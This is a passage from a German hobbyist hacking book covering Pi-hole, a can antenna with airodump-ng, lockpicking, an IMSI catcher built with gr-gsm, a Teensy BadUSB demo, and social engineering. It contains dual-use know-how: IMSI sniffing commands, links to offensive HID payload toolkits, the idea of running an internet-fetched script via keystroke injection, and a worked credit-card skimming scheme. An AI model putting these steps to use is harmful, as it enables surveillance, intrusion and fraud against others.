Ich wähle meine Sprache aus und tippe die magische Zeile auf 
meiner Tastatur. Es läuft eine Installation im schönsten Blau 
über den Bildschirm. Sogar ein Setup ist dabei. Ich wähle mei- 
nen Netzwerkanschluss. 


Das Setup wird über die Pfeiltasten gesteuert mit "Tab" wird der 
Kontext gewechselt und bestätigt mit der Leertaste. Ich wähle 
"Cloudeflare" als DNS-Provider. Der Pi hat eine Blockliste, aber 
alle anderen Anfragen müssen auch irgendwo aufgelöst wer- 
den. Ich habe Cloudflare gewählt. Wichtig ist hier, dass der Pi 
eine statische IP-Adresse haben sollte. Wenn sich diese ändern 
sollte, laufen die DNS Requests womöglich ins Leere und es 
funktioniert nicht. Das Web Interface installiere ich auch noch, 
danach wird die URL angezeigt. Das Admin-Passwort speichert 
mein Browser. Jetzt muss ich eigentlich nur noch auf einem an- 
deren Rechner den neuen DNS-Server eintragen. DNS-Server: 
192.168.2.112. 


262 


Wer den Pi im ganzen Netzwerk verwenden möchte, der trägt 
den Pi-Hole in seinen Router ein. Dadurch bekommen alle Ge- 
räte diesen Server per DHCP (= Dynamic Host Configuration 
Protocol) mitgeteilt. 


Darüber lässt sich auch eine Kindersicherung für das Internet 
einrichten. Ich habe hier die DNS Queries zwar verborgen, aber 
die könnten auch mitgeschrieben werden. Dadurch seht ihr am 
Pi welche Domains von welchem Client in eurem Netzwerk an- 
gesprochen werden. Als Custom DNS Server lässt sich, statt 
Cloudflare, auch den "Open DNS" Server mit Kindersicherung 
nehmen. Dort sind verschiedene Webseiten für Erwachsene blo- 
ckiert. 


Falls euer Kind es schafft herauszufinden wie sie diese DNS- 
Einstellung umgehen können, dann herzlichen Glückwunsch. 
Es ist ein/-e Nerd/-ine. ;) 


Nochmal zur Erinnerung, ihr könnt im Pi alle aufgerufenen 
Domains sehen. Geheimdienste schneiden solche DNS Anfragen 
übrigens auch mit. 


Fazit: Die Installation war wirklich sehr einfach. Da die Kiste im 
internen Netzwerk hängt, ist das Risiko auch gering. Trotzdem 
wäre es für den Dauerbetrieb noch schön, wenn unter Debian 
dazu ein automatisches Update aktiviert werden würde. Eine 
Websuche nach "raspian automatic updates" bringt dir einen 
Stackoverflow Beitrag, der das Update mit crontab automati- 
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siert. Kannst du machen, es geht mit "unattended-upgrades" 
allerdings einfacher: 


>>> apt install unattended-upgrades 


Automatische Installation von Sicherheitsaktualisierungen: Dieses 
Paket kann automatisch und unbeaufsichtigt Sicherheitsaktuali- 
sierungen herunterladen und installieren. Es wird darauf achten, 
dass nur Pakete der voreingestellten APT-Quelle installiert werden. 
Auch Nachfragen von dpkg wegen Änderungen an Konfigurati- 
onsdateien werden beantwortet. 


WLAN Richtfunk 

In einem Mehrfamilienhaus gibt es schnell Probleme mit lang- 
samen WLANs, weil sich die Geräte der Nachbarn gegenseitig 
stören. Meistens lässt sich das Problem mit dem Wechseln des 
Kanals beheben. Mit einer Richtfunkantenne im Eigenbau wer- 
den wir die Reichweite erhöhen, was nützlich ist um auf ent- 
ferntere Netzwerke zuzugreifen. 


Es eignen sich alle Konservendosen, runde Verpackungen aus 
Metall oder sonstige Metallbehälter mit folgenden Maßen: Scm 
Durchmesser und 15cm Länge. Wer das ganz genau wissen will, 
kann die Dosenantenne auf heise.de berechnen lassen. Suchbe- 
griff: "WLAN-Richtfunk mit Hausmitteln". Dort werden Löcher 
gebohrt und Tests im Labor durchgeführt. So professionell will 
ich es nicht machen. Ich nehme das, was ich gerade im Haus 
habe. Hacker Style! Das wäre eine normale Dose mit Alumini- 
um Beschichtung. Dort sind noch Reste des Cappuccinos drin, 


den ich besser zuerst leer trinke. Statt eines Labortests werde 
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ich die Anzahl der empfange- 
nen Netzwerke vergleichen. 


Nachdem der Cappuccino ge- 
trunken ist, schließe ich mein 
USB WLAN-Stick mit Antenne 
wieder an und starte meine VM 
mit Kali Linux. Hier werden wir 
den Stick als USB-Device frei- 
geben, sodass er in der VM ver- 
fügbar ist. Wie das funktioniert 


habe ich bei "Wirklich anonym 
bleiben" bereits erklärt. 


Kurz zur Erinnerung: 

USB Hardware Weiterleitung für Virtual Box einrichten. Dafür 
ist das "VirtualBox Extension Pack" notwendig. Es lässt sich zu- 
sätzlich auf der VirtualBox Webseite herunterladen. Bei Virtual 
Box auf Einstellungen > Zusatzpakete > Rechts das + > "Ex- 
tension Pack" Datei auswählen und damit aktivieren. In den VM 
Einstellungen > Ports > USB > + USB Stick wählen. 


Nach einem Neustart ist das Gerät verfügbar und ich starte den 
WLAN Monitor: 


>>> airmon-ng 


Da es nur ein WLAN Adapter gibt, kann ich ihn direkt auswäh- 
len: 
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>>> airmon-ng start wlanO 


Monitormode wurde aktiviert. Der Monitor ist nun verfügbar 


! 


als "wlanOmon". Jetzt kann ich airodump starten, damit ich 


sehe welche Netzwerke ich mit welcher Stärke empfange: 


>>> airodump-ng wlan0mon 


In der Spalte "Data" siehst du wie viele Datenpakete dort ge- 
sendet werden. Wer einen freien WLAN-Kanal sucht, kann sich 
jetzt einen mit wenig Traffic wählen. 


Ich habe in meiner Liste 7 WLANs und starte den ersten Ver- 
such mit meiner Kaffee-Dose. Ich schneide in den Boden ein 
Loch, durch das die Antenne geschoben wird. Besonders befes- 
tigt habe ich es nicht, was es zu einer wackeligen Lösung 
macht. Ungefähr die Hälfte der Antenne ist in der Dose selbst. 
Deshalb muss ich das Konstrukt ruhig in der Hand halten. 


Die Dose richte ich auf die Nachbarhäuser. Es passiert erstmal 
nichts. Ich Ziele etwas tiefer, weil ich auch keine Ahnung habe, 
wo sie ihre WLAN-Router stehen haben. 


Oh, ein neues WLAN. Es funktioniert. 


Nachdem ich sehr langsam ein paar Ziele ausprobiert und auch 
ein anderes Mehrfamilienhaus angepeilt habe, bin ich bei 10 
WLAN Geräten. Ein WLAN davon heißt "Wohnzimmer" und ist 
nicht verschlüsselt. Bingo! 
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Bei Richtfunk ist auch spannend zu sehen, welches WLAN von 
welchem Nachbar funkt. Allerdings ist mir klar, dass ich hier 
immer noch meine Stick und die Dose in der Hand halten muss. 
Eine stabile Lösung ist das nicht. Die Ergebnisse sind gut genug, 
dass sich so ein dauerhafter Richtungsaufsatz durchaus lohnt. 


Lockpicking 

Das Werkzeug um Schlösser zu knacken ist nicht illegal. Das 
hat mich etwas gewundert, aber es ist es wohl so. Du kannst 
damit eigene Schlösser ohne rechtliche Probleme knacken. 
Deshalb lässt sich so ein Lockpicking-Set zum Üben mit durch- 
sichtigen Schlössern auch im Internet erwerben. 


Wer ein Lockpicking-Set kauf- 
te, kaufte auch eine Sturm- 
haube. 


Wer allerdings nicht das klei- 
ne Einbrecher-Kit kaufen 
möchte, sondern wie ich, ein- 
fach nur an Schlössern inter- 
essiert ist und eben gelesen 
hat, dass es Spaß machen 
kann, der darf sich es gerne 
bestellen. 
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In meinem Set ist auch eine englische Anleitung dabei, die er- 
klärt wie ein Schloss funktioniert, wie ein Schlüssel funktioniert 
und was ich mit dem Werkzeug tun muss, damit es auf geht. 


Nach 3 Minuten war mein erstes Schloss geöffnet. Der zweite 
Versuch dauerte dann nur noch 10 Sekunden. Alle weiteren 
Schwierigkeitsgrade hängen vom jeweiligen Schloss ab. Es gibt 
auf den CCC Events auch häufig Kurse dafür. Allerdings reicht 
auch die kleine Anleitung als Einstieg. Der Rest ist Übung. 


IMSI-Catcher bauen 

Smartphones buchen sich normalerweise bei Basisstationen ei- 
nes Mobilfunkbetreibers ein. Mit einem IMSI-Catcher simulie- 
ren wir solche eine Basisstation, leiten die Daten an die echte 
Basisstation weiter und können damit den Traffic untersuchen. 


Um diese Frequenzen abzu- 
hören, brauchen wir ein be- 
stimmtes Gerät: USB DVB-T 
key (RTL2832U) mit Anten- 
ne. Also auf eBay suchen und 
bestellen. 3.2.1... Meins. Das 
Teil kommt aus China (wie 
fast jede Elektronik) und kos- 
tet weniger als 10 Euro. 
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Da bei mir auf dem Weg zum Scanner einige Dinge schief ge- 
gangen sind, werde ich zuerst von diesen Fehlschlägen erzäh- 
len. Die haben mich fast eine Stunde beschäftigt. 


Wir starten unsere Virtual Box und legen los. Wir brauchen 
USB-Support für die Antenne. Wie das funktioniert habe ich bei 
"Wirklich anonym bleiben" bereits erklärt. Um den Scanner zum 
Laufen zu bewegen müssen wir die Software gr-gsm installie- 
ren. 


Fehlversuche 
Ich folge der Anleitung für Debian: https://osmocom.org/pro- 
jects/gr-gsm/wiki/Installation. Die Installation nach Anleitung 


schlägt auf meiner Maschine fehl, wie soll es auch anders sein. 
Es wird eine ältere Bibliothek benutzt. Das alte Spiel: "Software 
und ihre Abhängigkeiten". 


Ich probiere erst die Variante 1, die alte Installationsmethode 
mit Python, die genauso scheitert, weil ein Paket nicht gefun- 
den wurde. Die 2. Variante wäre mit docker. Die automatische 
Installation in einem Container. Das installiert ziemlich lange 
und scheitert dann auch an einem Fehler, weil Dateipfade nicht 
zusammen passen. Ich gebe diesen Weg auf und installiere 
Ubuntu 16.04 in einer VM. In der Installationsanleitung wird 
behauptet, dass es damit funktioniert. Wir werden sehen. 


Spoiler: Es funktionierte nicht. 
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Voraussetzungen 

Ich finde noch eine Alternative und installiere Debian 10, um 
dort das Paket mit einem einzigen Befehl zu bekommen. Das 
wäre eine schöne Sache. Die Hoffnung stirbt zuletzt. 


Ich starte mein frisch installiertes Debian und versuche es di- 
rekt in der Shell mit: 


>>> sudo apt install gr-gsm 


Bevor überhaupt etwas installiert werden kann, muss ich mei- 
nem "debian" Nutzer erlauben "sudo" auszuführen. 


>>> su 
>>> sudo adduser debian sudo 


>>> exit 


Schnell neu einloggen, erst dann greift die Änderung. Ich starte 
die berühmte Zeile, die mich aus dem Elend der Fehlermeldun- 
gen retten sollte. 


Die Installation läuft tatsächlich durch! Korken knallen. Freu- 


dentanz! 


Ich will das Git Repository auf mein System klonen, indem der 
ganze Code für den IMSI-Catcher liegt. Vorher bin ich so ge- 
schickt und installiere noch Git: 


>>> sudo apt install git 
>>> git clone https://github.com/Oros42/IMSI-catcher.git 


Das Ziel scheint nah. Ich bin aufgeregt: 
>>> sudo apt install python-numpy python-scipy python-scapy 
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Nachdem diese Installation scheinbar funktioniert hat, starte 
ich "grgsm_scanner". Dort erhalte ich ein Ergebnis, mit dem ich 
noch nichts anfangen kann, weil ich von GSM Netzen keine 
Ahnung habe. Mut zur Lücke, wie immer. Learning by Doing. 


In die Shell tippen: 


>>> grgsm_scanner 


ARFCN stellt sich nach einer Internetsuche als "Absolute radio- 
frequency channel number" heraus. Frequenz ist klar. CID be- 
deutet "Cell ID". LAC bedeutet "location area identity". MMC ist 
der "mobile country code". MNC ist der "mobile network code". 
Das heißt, wir wissen jetzt welche Basis-Station es gibt und auf 
welcher Frequenz die Kommunikation stattfindet. Diese Fre- 
quenz notieren wir oder lassen diese Shell offen. 


Mit dem Befehl "grgsm_livemon -f xxx.xM" (-f steht für Fre- 
quenz) monitoren wir alles auf der angegebenen Frequenz: 


>>> grgsm_livemon -f xxx.xM 


Wir starten den IMSI-Catcher in einer zweiten Shell: 
>>> sudo python simple _IMSI-catcher.py --sniff 


Im IMSI-Catcher Script sollten nun Geräte und ihre IMSI ange- 
zeigt werden. Der nächste Schritt wäre nun, die mitgeschnitte- 
nen Datenpakete in Wireshark zu analysieren. Wir erinnern 
uns, dass uns ein Gesetz dies verbietet und lassen es sein. Ich 
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denke, es ist trotzdem klar geworden, dass die Hürde und die 
Kosten für einen IMSI-Catcher gering sind. 


Quelle: https://github.com/Oros42/IMSI-catcher 


USB Device Hacks 

"Universal Serial Bus" ist eine tolle Sache. Ein Standardan- 
schluss für verschiedene Funktionen, statt unterschiedliche An- 
schlüsse für jeden Zweck einbauen zu zu müssen. Es gibt USB- 
Sticks und es gibt USB-Tastaturen oder USB-Mäuse. Dement- 
sprechend erwarten wir auch eine bestimmte Funktion. Es kann 
aber auch passieren, dass wir einen USB-Stick an unseren 
Computer anschließen, dieser sich wie eine Tastatur verhält 
und dann auch noch automatisch Tasteneingaben ausführt. 
Diese Methoden werden normalerweise eher gezielt benutzt, 
statt gestreut, aber den Hacker/-innen sollte das bekannt sein. 


In der Regel brauchen diese Angriffe ein nicht gesperrtes Sys- 
tem, das heißt, das Opfer muss eingeloggt und gerade abwe- 
send sein. 


Die fiese Variante davon wäre eine funktionierende Tastatur, die 
diesen Angriff versucht dann auszuführen, wenn der/die ei- 
gentliche Nutzer/-in gerade nicht da ist. 


Zum Thema "BadUSB" gibt es verschiedene Projekte. Ich habe 
mich für den klassischen HID-Angriff (= Human Interface De- 
vice) entschieden. 3... 2... 1... Meins. Ich habe mir ein "Teensy 
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LC" bestellt. Schließe das Geräte per USB an mein Macbook an 
und folge der Installationsanleitung. Zuerst Arduino 1.8.11 
herunterladen und einmal starten. Danach die Teensy Erweite- 
rung für MacOS laden. Der Download dauert gefühlt ewig. Da 
hätte auch jemand mal einen Torrent daraus machen können. 
Naja. 


Jedenfalls starte ich direkt "Teensyduino". Ein genialer Name 
übrigens. Zuerst klicke ich mich durch die Menüs. Unter "Werk- 
zeuge" kann ich ein "Board" auswählen. Ich vermute mal, dass 
ich das früher oder später sowieso auf "Teensy LC" stellen muss 
und mache es direkt. Außerdem muss ich dort auch einen "Port" 
wählen. Also die Schnittstelle zum Teensy Board. 


Nachdem ich das ausgewählt habe, will ich mir die "Boardin- 
formationen holen". Ein Klick darauf bringt mir eine Fehlermel- 
dung. Wir merken also: Irgendetwas funktioniert nicht so wie 
es soll. Ich versuche einfach beide leeren Funktionen "setup" 
und "loop" hochzuladen. Das geht, also ignoriere ich die 
"Boardinformationen" erstmal und suche mir den Code heraus, 
um als "Human Interface Device" erkannt zu werden und Ein- 
gaben als Tastatur zu übertragen. 


In der offiziellen Dokumentation gibt es ein Beispiel unter "USB 
Keyboard". Dieser Code wird alle 5 Sekunden "Hello World" 
schreiben. Setup() wird vermutlich einmal beim Starten des 
Teensy ausgeführt und Loop() dauerhaft in einer Schleife. Das 
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steht sicherlich auch irgendwo in der Dokumentation drin, aber 
ich überspringe es erst mal. 


int count = 0; 
void setup() { } // no setup needed 
void loop() { 
Keyboard.print("Hello World "); 
Keyboard.println(count); 
count = count + 1; 
delay(10000); 


Was bekomme ich, wenn ich auf "Hochladen" klicke? Eine Feh- 
lermeldung! 


error: 'Keyboard' was not declared in this scope 


To make a USB Keyboard, use the Tools > USB Type menu 


Ich tue was mir gesagt wurde, obwohl mein Menü teilweise 
deutsche Titel hat. "Werkzeuge" > "USB Type" > "Keyboard". 
Zweiter Versuch. Bist du auch so aufgeregt wie ich? Nein? 
Okay. 


Sketch wird kompiliert. 10 Sekunden später schreibt meine Tas- 
tatur: 
Hello World 1 
Hello World 2 
Hello World 3 
Hello World 4 
Hello World 5 
Hello World 6 
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Hello World 7 


Diese Grundfunktion reicht, um einen USB-Angriff zu demons- 
trieren. Wenn das Ziel ein Windows System wäre, würden wir 
versuchen Powershell zu öffnen. Windows-Iaste + R, um 
schnell einen Befehl auszuführen "powershell" tippen und da- 
nach gibt es die gleichen Methoden, wie im Kapitel "Trojaner" 
oder was auch immer sich jemand dazu ausdenken möchte. 
Wie immer ist der flexibelste Ansatz ein Script aus dem Internet 
zu starten und im Hinter- 


N grund ausführen zu lassen. 


Allerdings ist das Teensy- 


fällig. Wer sich als norma- 
ler USB-Stick tarnen will, 
der kauft sich einen "USB 
RUBBER DUCKY". Das Ge- 
rät kann das gleiche, sieht aber wie ein USB-Stick aus, hat An- 
schlüsse für eine MicroSD und ist leider derzeit ausverkauft. Ich 
werde dafür aber keine 90 Euro auf Amazon ausgeben. 


Ein Toolkit, das bereits einige Angriffe hat, gibt es auf Github: 
Brutal is a toolkit to quickly create various payload, powershell 
attack, virus attack and launch listener for a Human Interface 
Device 
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Brutal Github: https://github.com/Screetsec/Brutal. Ein ande- 
res Backdoor Script gibt es auf: https://github.com/offensive- 
security/hid-backdoor-peensy. 


Verhindern lässt sich der Angriff ziemlich einfach. Bildschirm 
mit Passwort sperren, wenn du deinen Rechner alleine lässt, 
prüfen welche USB-Geräte benutzt werden und Anschlüsse prü- 
fen. 


Social Engineering 

Jedes Kind lernt lügen, um seinen Willen zu bekommen. Wer 
gut lügen kann, der ist bei Social Engineering richtig. Hier wer- 
den Personen dazu gebracht, vertrauliche Informationen weiter 
zu geben oder durch Tricksereien Zugang zu Systemen zu be- 
kommen. Diese Methode wird auch oft benutzt um Hinter- 
grundinformationen zu internen Prozessen auszuspähen und 
die eigenen Angriffe daraufhin anzupassen. 


In größeren Unternehmen bei denen nicht jeder, jeden kennt, 
ist es einfach mit einem gefälschten Auftrag durch die Tür zu 
gehen und sich umzusehen oder gleich an einem freien Netz- 
werksteckplatz sein eigenes WLAN anzuhängen. 


Es funktionieren auch die Klassiker, wie unzufriedenen Mitar- 
beitern Geld anzubieten für Passwörter oder Hintergrundwis- 
sen. Manchmal reicht auch ein offiziell aussehendes Fax, um so 
einen Angriff erfolgreich zu machen. Identitätsdiebstahl oder 
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gefälschte Mailadressen gehören auch dazu. Das ist übrigens 
der Bereich, der mich ein bisschen paranoid gemacht hat. 


Als ich mit meiner Frau in New York City im Urlaub war, gab es 
eine Situation, die mich stark an Social Engineering erinnert 
hat. Wir wollten uns zwei Bikes ausleihen, um durch den Cen- 
tral Park zu fahren. Dafür gibt es City Bikes Automaten, an de- 
nen du dir ein Ticket kaufen kannst. An der City Bike Station 
vor dem Plaza Hotel, stehen zusätzlich auch Mitarbeiter. Die 
sind höflich, sprechen dich an und machen den Bezahlvorgang 
für dich. Allerdings tippen sie dafür auch deine Kreditkartenda- 
ten + Prüfnummer in ihr Tablet. 


Die Aktion kam mir perfekt vor, als wir mit unseren Rädern so 
durch den Park gefahren sind. Wir stellen uns vor, ich mache 
mir auch ein T-Shirt mit deren Logo. Da könnte ich irgendeins 
aus dem Internet holen, weil niemand der Touristen wüsste, ob 
es das aktuelle und offizielle Logo ist. Vorher kaufe ich mir 
selbst ein paar Tageskarten am Automaten. Jetzt muss ich mich 
nur noch freundlich hinstellen. Kreditkartendaten notieren, 
meine vorher bezahlten Karten vom Automaten an das Rad hal- 
ten und es an meine "Kunden" weitergeben. 


Es gibt für die Kunden keine Möglichkeit zu überprüfen mit 
welchem Tarif das Rad aus der Sperre geholt wurde. Du siehst 
auch nicht, wie lange du überhaupt fahren darfst. Dann stehst 
du mit deinem Rad im Central Park und fragst dich, ob gerade 
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ein cleverer Social Engineerer deine Kreditkartendaten notiert 
hat. 


Nachdem mir das so durch den Kopf ging, sind wir später wie- 
der zurück und haben die Quittung geprüft. Die Abrechnung 
sollte per Mail ankommen, was auch nicht direkt ohne WLAN 
zu prüfen ist. Am Ende war alles offiziell und okay, aber der 
Plan wäre perfekt gewesen. 


Spammer 

Auch normale Spammer nutzen E-Mails, um dich zu einer 
Überweisung zu bewegen. Die Geschichten sind meist völliger 
Quatsch, aber genau das ist die Absicht. Wer auf so eine dünne 
Geschichte reagiert und sie möglicherweise für wahr hält, der 
ist auch eher bereit auf den kompletten Betrug herein zu fallen. 
Die schlecht geschriebenen Spam-Nachrichten filtern schon alle 
kompetenten Internetnutzer/-innen heraus, was den Betrug für 
die Spammer weniger aufwendig macht. 


Normalerweise läuft es so ab: Dir wird etwas versprochen. 
Meistens viel Geld, das bei dir geparkt werden soll und das du 
dann teilweise oder komplett behalten darfst. "Unglücklicher- 
weise" (haha) gibt es plötzlich Probleme bei der Durchführung. 
Irgendwo müssen Bankgebühren bezahlt werden z.B. du musst 
zuerst etwas überweisen und danach kommen die Millionen auf 
dein Konto. Nachdem du Geld überwiesen hast, geht es für den 
Spammer erst richtig los. Wer gezahlt hat, will natürlich auch 
jetzt die Millionen haben. Also geht die fiktive Geschichte wei- 
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ter bis ein anderes Hindernis auftaucht, was nur du mit einer 
weiteren Überweisung oder einem Ausweis (Identitätsdieb- 
stahl!) beheben kannst. 


Wenn die Person bereits einmal gezahlt hat, möchte sie nicht 
gerne wahr haben, dass sie Opfer eines Betrugs geworden ist 
und klammert sich vielleicht an die Hoffnung, doch noch etwas 
von den Millionen zu sehen. Der Spammer verspricht dir wei- 
terhin das Geld, setzt Termine für die finale Überweisung und 
macht dir Hoffnung. Solange bis eben nichts mehr zu holen ist, 
du dich nicht mehr meldest oder die Sache aufgeflogen ist. 


Wer etwas geschickter vorgeht, versucht direkt als Geschäfts- 
führer/-in der Firma mit gefälschter Identität die Mitarbeiter/- 
innen zu einer Überweisung ins Ausland zu bewegen. Wer sich 
etwas mit Internetcrime beschäftigt kennt die Tricks. 


Reallife 


Als introvertierter Mensch ist es nicht verwunderlich, dass ich 
mich magisch von Computern angezogen fühle. Ich konnte in 
Ruhe lesen und mich über das Internet mit Gleichgesinnten un- 
terhalten, von denen ich keine in meinem persönlichen Umfeld 
hatte. Ein Computer mit Internet war alles, was ich zum Lernen 
brauchte. 


Außerdem fühlte ich mich in der Welt außerhalb des Compu- 
ters immer wie ein Alien oder ein Tourist auf Reisen in die ver- 
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wirrende Welt der sozialen Konventionen. Eine Welt, die gefüllt 
ist mit Menschen, die sich für beliebte Themen interessieren 
über die ich noch nicht mal nachdenken wollte. Themen, die so 
fern von mir waren, dass ich früher sogar peinlich berührt la- 
chen musste, wenn ich danach gefragt wurde. 


Im Netz finden sich spannende Anleitungen, wie der kreative 
oder philosophische Teil des Hacker-Daseins erlernt werden 
kann. Dort werden Aktivitäten aufgezählt, wie "Probleme lösen" 
oder "Science-Fiction-Werke" lesen. Kampfsport, Achtsamkeit 
und was einem noch so einfällt. Das sind alles schöne Hobbys 
und helfen auch sicherlich dem eigenen Wohlbefinden, aber für 
mich hat es wenig mit Hacking zu tun. Irgendeine Art Leiden- 
schaft oder Talent für das Hacken bringt dich automatisch zu 
kreativen Lösungen. Ich wüsste nicht, weshalb es da noch wei- 
tere Vorraussetzungen geben sollte. 


Der kulturelle Teil hat mich immer am meisten verwundert. Ir- 
gendwie wurden mir Hacker-Werte anerzogen oder es scheint 
gereicht zu haben mich als Jugendlicher unzählige Stunden im 
Internet herumzutreiben. Immer wieder lese ich von einer Art 
Hacker-Lifestyle. Was soll das denn sein? Als wären Hacker/- 
innen eine gleichartige Gruppe von Menschen, dabei wird nicht 
mal der Begriff "Hacker" einheitlich verwendet. Es soll irgend- 
etwas mit dem sozialen Status zu tun haben. 


Hier ein Zitat aus der deutschen Übersetzung des Textes von 
Eric S. Raymond "How to become a Hacker": 
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Hacker mifstrauen zu viel offensichtlichem Selbstbewußtsein bei 
ihren Oberen, weshalb es gefährlich ist offenkundig nach diesem 
Ruhm zu streben. Anstatt dafür zu kämpfen, solltest du dich lieber 
so anstellen, daß sie dir ganz von selbst in den Schoß fällt, und 


dann sei bescheiden und dankbar für deinen Status. 


Es gibt keine Hierarchie. Wer sich noch an die Hacker-Ethik er- 
innert, weiß das. Über diesen Punkt habe ich mich schon beim 
Thema Leetspeak lustig gemacht. Das Hocharbeiten in einer 
fiktiven Hackerkarriereleiter ist nichts was besonders lebens- 
wert ist. Laut diesem Text soll ich nach einer Machtposition 
streben, aber so unauffällig, dass sie mir "in den Schoß" fällt? 
Wenn das der Fall ist soll ich danach bescheiden mit meinem 
Status umgehen, also im Prinzip lügen, weil ich ursprünglich 
daraufhin gearbeitet habe? 


Ego und Fame sind offensichtlich ein Thema. Es gibt ein ganz 
gutes Mittel, um sich wieder zu erden. Das Internet vernetzt 
Menschen weltweit und es findet sich immer jemand, der oder 
die etwas besser kann oder früher erreicht hat als du. Andere 
Menschen grundsätzlich als Konkurrenz wahrzunehmen ist 
auch das Problem des Zitats. Es ist zutiefst konservativ und wi- 
derspricht der Hacker-Ethik: Hacker sollen nur nach ihrer Fä- 
higkeit beurteilt werden. Bekannt zu sein ist keine Fähigkeit. 
Misstrauen gegenüber Autoritäten betrifft jede Art der Hierar- 
chie. Fokussiere dich lieber auf den Spaß am Hacken. 
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Ein paar letzte Worte zu diesem Buch: Es ist völlig egal, ob dich 
jemand als Hacker/-in bezeichnen würde. Der Begriff wird so- 
wieso für sehr unterschiedliche Tätigkeiten verwendet. Selbst 
wer einen Trick kennt, um seine Sneakers mit Hausmitteln zu 
putzen, schreibt von einem Life-Hack. Das Label ist völlig egal, 
aber ethisches Handeln ist es nicht. Ethisches Handeln besteht 
bei Hackingparagraphen und ausbeuterischen Gesellschaftssys- 
temen nicht immer aus Null oder Eins, sondern hat eine Reihe 
von Graustufen. 


Party 

Nach dem offiziellen Teil ist Zeit für die Party. Twitter und Mi- 
croblogging ist mein Ventil für flache IT-Witze. Denn sonst blei- 
ben sie in meinem Hirn hängen. Es gibt einige unterhaltsame 
Hashtags wie #ITSongs oder #ITFilme. 


Wer bis hier her gelesen hat, soll auch belohnt werden: 
Bitte denkt doch mal daran Webseiten wieder hoch zu scrollen, 
wenn ihr fertig seid. Das nervt jeden, der sie danach anschauen 


will. 


Meine TV-Idee: Verschiedene Android-Smartphones treffen sich in 
einer Fernsehshow. Es gibt Rosen zu verteilen, am Ende bleibt ein 
Smartphone übrig und bekommt ein Update auf die aktuellste 
Android Version. Der Patchler. 
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"Das waren die russischen Hacker", hört sich besser an als "ich kli- 


cke auf jeden E-Mail Anhang und folge den Anweisungen!". 


"Alter Table!" Ghettokind fällt Vokabel für Tisch wieder ein oder 
SQL Administrator ändert Tabelle? 


Das einzige Tempolimit in Deutschland gibt es auf der Datenauto- 
bahn. 


#GretaGate ist die Serie, wo sie mit einem Sternentor versucht 
Aliens um Hilfe beim Klimawandel zu bitten und die Erde zu ret- 


ten. 


Script Kiddies, die mit ihrem Debugger in der Sandbox spielen. 


Es gibt nur einen guten Namen für ein Netzwerk-Switch: Natalie 


Portman. 


Stellt sich heraus, dass es nicht so mega sicher war, einen einzigen 
Nutzer mit Administratorrechten im Unternehmen zu haben. 
Grüße, deine Jurassic Park IT. 


Berühmte Songs: 

The root is on fire. 

Highway to Shell. 

We didn’t start the firewall. 

Wake me up before you GOTO 10. 
Callback me maybe. 
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Sexy backlog. 


Berühmte Filme: 

grep -r nemo. 

The blair switch project. 

Drei Cookies für Aschenbrödel. 
Der Hobbyite. 


Cache me if you can. 
Die Rätselecke: 
Filmtitel: Alte Programmiersprache + angeborener Mechanismus 


zur Verhaltenssteuerung? 


Künstlername: Europäische Trägerrakete + Größenbeschreibung 


eines Pappbechers? 


Künstlername: Weiblicher Vorname + Wichtiger Bestandteil der 
Kryptografie? 


Bandname: Tool, um Daten im Netzwerk zu synchronisieren. An- 


derer Anfangsbuchstabe? 


Bandname: Elektronischer Datenspeicher + harte Materie? 


Künstlername: Bekannter Webserver 11001111. 


Die Lösungen der Rätselecke stehen am Ende des Buches. 


284 


Ausblick 

Einmal durchatmen. Für mich persönlich hat sich die Tipparbeit 
an diesem Buch gelohnt. Ich habe mich wieder mit spannenden 
Themen auseinander gesetzt und Neues gelernt. Vor allem habe 
ich meine persönliche Hürde ein neues Thema anzufangen er- 
neut gesenkt. 


Das Internet vernetzt immer mehr Geräte und soll unseren All- 
tag einfacher machen. Das ist auf der einen Seite toll, aber auf 
der anderen Seite gibt es auch immer wieder Datenschutz- und 
Sicherheitsproblemen. Aus Sicht der Hacker/-innen wird der 
öffentliche Spielplatz immer größer. 


Vielen Dank für deine Aufmerksamkeit. 


Vielen Dank an meine Frau, Noxmiles, DanielBilanovic, unbe- 
lauscht und ytvwld für Hinweise auf Tippfehler und Verbesserun- 


gen. 


Die Lösungen für die Rätselecke: 
Basic Instinct. 

Adriana Grande. 

Alicia Keys. 

NSync. 

Rammstein. 

Apache 207. 
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